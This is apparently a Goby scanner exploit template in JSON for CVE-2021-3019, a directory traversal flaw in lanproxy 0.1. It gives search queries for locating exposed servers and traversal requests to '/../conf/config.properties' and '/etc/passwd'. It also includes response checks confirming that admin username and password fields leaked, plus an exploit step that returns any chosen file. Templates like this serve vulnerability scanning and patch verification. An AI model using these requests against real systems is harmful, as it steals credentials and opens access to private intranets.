{
  "Name": "lanproxy Directory Traversal (CVE-2021-3019)",
  "Description": "ffay lanproxy 0.1 allows Directory Traversal to read /../conf/config.properties to obtain credentials for a connection to the intranet.",
  "Product": "lanproxy",
  "Homepage": "https://github.com/ffay/lanproxy",
  "DisclosureDate": "2021-01-05",
  "Author": "itardc@163.com",
  "FofaQuery": "header=\"Server: LPS-0.1\"",
  "GobyQuery": "header=\"Server: LPS-0.1\"",
  "Level": "3",
  "Impact": "",
  "Recommendation": "",
  "References": [
    "https://github.com/ffay/lanproxy/commits/master",
    "https://github.com/maybe-why-not/lanproxy/issues/1",
    "https://nvd.nist.gov/vuln/detail/CVE-2021-3019",
    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3019"
  ],
  "GifAddress": " https://raw.githubusercontent.com/gobysec/GobyVuls/master/lanproxy/CVE-2021-3019/CVE-2021-3019.gif",
  "HasExp": true,
  "ExpParams": [
    {
      "name": "file",
      "type": "createSelect",
      "value": "/../conf/config.properties,/../../../../../../../../../../etc/passwd",
      "show": ""
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "data": "",
        "data_type": "text",
        "follow_redirect": true,
        "method": "GET",
        "uri": "/../conf/config.properties"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "200",
            "variable": "$code"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "config.admin.username",
            "variable": "$body"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "config.admin.password",
            "variable": "$body"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "application/octet-stream",
            "variable": "$head"
          }
        ],
        "operation": "AND",
        "type": "group"
      }
    }
  ],
  "ExploitSteps": [
    "AND",
    {
      "Request": {
        "data": "",
        "data_type": "text",
        "follow_redirect": true,
        "method": "GET",
        "uri": "{{{file}}}"
      },
      "SetVariable": [
        "output|lastbody"
      ]
    }
  ],
  "Tags": ["fileread"],
  "CVEIDs": [
    "CVE-2021-3019"
  ],
  "CVSSScore": "7.5",
  "AttackSurfaces": {
    "Application": ["lanproxy"],
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}